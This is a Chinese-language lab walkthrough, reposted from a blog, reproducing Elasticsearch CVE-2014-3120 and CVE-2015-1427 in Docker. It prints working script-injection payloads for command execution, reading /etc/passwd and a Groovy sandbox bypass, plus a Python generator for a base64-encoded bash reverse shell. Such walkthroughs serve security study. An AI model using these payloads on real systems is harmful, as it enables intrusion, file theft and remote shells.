0


ElasticSearch漏洞复现

目录

ElasticSearch简介

Elasticsearch(以下简称ES)是目前全文搜索引擎的首选。它是一个基于 Lucene 的搜索服务器,提供了一个分布式多用户能力的全文搜索引擎,它同时基于 RESTful Web 接口,可以快速地储存、搜索和分析海量数据。
ES安装部署成功后,默认端口是9200。

ElasticSearch _search API概述

对ES中存储的数据进行查询分析,使用关键字

_search

。如下

GET/_search    ## 在根目录下检索所有的index
GET/<target>/_search   ## 在指定索引下检索所有文档
GET/<target1>,<target2>/_search   ## 检索指定多个索引下的所有文档
GET/my_*/_search    ## 使用通配符,检索指定多个索引下的所有文档

ES提供查询的两种形式:URI Search和Request Boby Search。

ElasticSearch 漏洞复现

ElasticSearch CVE-2014-3120复现

  • 漏洞描述: 在ES1.2之前Elasticsearch的默认配置启用动态脚本,这允许远程攻击者通过_search的source参数执行任意MVEL表达式和Java代码。 MVEL执行命令代码:importjava.io.*;newjava.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\A").next();
  • 启动环境:cd CVE-2014-3120docker-compose up -d 启动后,通过127.0.0.1:9200就可以访问,截图如下:在这里插入图片描述 对应的浏览器访问结果,如下json:{"status":200,"name":"Hardnose","version":{"number":"1.1.1", # 版本号是 1.1.1"build_hash":"f1585f096d3f3985e73456debdc1a0745f512bbc","build_timestamp":"2014-04-16T14:27:12Z","build_snapshot":false,"lucene_version":"4.7"},"tagline":"You Know, for Search"}
  • 漏洞命令注入利用: 1. 启动burpsuite抓包 burp抓包2. 在Repeater中修改报文,通过_search来获取payload的响应结果。此时需要注意,如果库里没有数据的情况下,需要先写入一条数据后,才可以注入成功。 注入命令执行的payload:{"size":1,"script_fields":{"command":{"script":"import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"whoami\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}} 2.1 注入示例如下: 2.1.1 没有数据的情况下: 无数据的注入结果 2.1.2 写入数据,需要用表单提交的方式(Content-Type: application/x-www-form-urlencoded)写入到二级目录(/xxx/xxx)里 写入数据 2.1.3 再次获取注入结果 注入结果 3. 文件读取的payload:{"size":1,"script_fields":{"command":{"script":"import java.io.*;import java.io.File; new java.util.Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next();"}}} 结果为: 文件读取的结果 4. 反弹shell注入,参考FastJson远程代码执行漏洞基于JNDI反弹shell使用中【反弹shell的准备】 或通过下面的反弹shell的bash脚本生成代码:#!/usr/bin python3# _*_ coding: UTF-8 _*_import base64defreboundShell(shell_code): shell ="bash -c {echo,"+ base64.b64encode(shell_code.encode("utf-8")).decode()+"}|{base64,-d}|{bash,-i}"return shell if __name__ =="__main__": code ="bash -i >&/dev/tcp/127.0.0.1/9999 0>&1"print(reboundShell(code))结果为:bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i} 反弹Shell的payload:{"size":1,"script_fields":{"command":{"script":"import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}} 结果如下:反弹shell结果

ElasticSearch CVE-2015-1427复现

  • 漏洞描述: 在CVE-2014-3120之后,ES默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。 在1.4.3之前的1.3.8和1.4.x版本,Elasticsearch中的Groovy脚本引擎,允许远程攻击者绕过沙盒保护机制,并通过精心制作的脚本执行任意shell命令。 该漏洞存在两种复现方式:1、沙盒绕过;2、Groovy代码执行。 Java沙盒绕过法:java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText() Groovy代码命令执行def command='id';def res=command.execute().text;res
  • 启动环境:cd CVE-2015-1427docker-compose up -d 启动后,通过127.0.0.1:9200就可以访问,响应结果如下:HTTP/1.1200OKContent-Type: application/json; charset=UTF-8Content-Length:337{"status":200,"name":"Avalanche","cluster_name":"elasticsearch","version":{"number":"1.4.2", # es 版本号 1.4.2"build_hash":"927caff6f05403e936c20bf4529f144f0c89fd8c","build_timestamp":"2014-12-16T14:11:12Z","build_snapshot":false,"lucene_version":"4.10.2"},"tagline":"You Know, for Search"}
  • 漏洞命令注入利用: 1. java沙箱绕过payload{"size":1,"script_fields":{"command":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"}}} 注入结果如下: java沙箱绕过结果 2. Groovy代码命令执行payload{"size":1,"script_fields":{"command":{"script":"def command='whoami';def res=command.execute().text;res"}}} 注入结果如下:Groovy代码执行结果

本文转载自: https://blog.csdn.net/hapenl/article/details/128540537
版权归原作者 Hapen_Lu 所有, 如有侵权,请联系我们删除。

“ElasticSearch漏洞复现”的评论:

还没有评论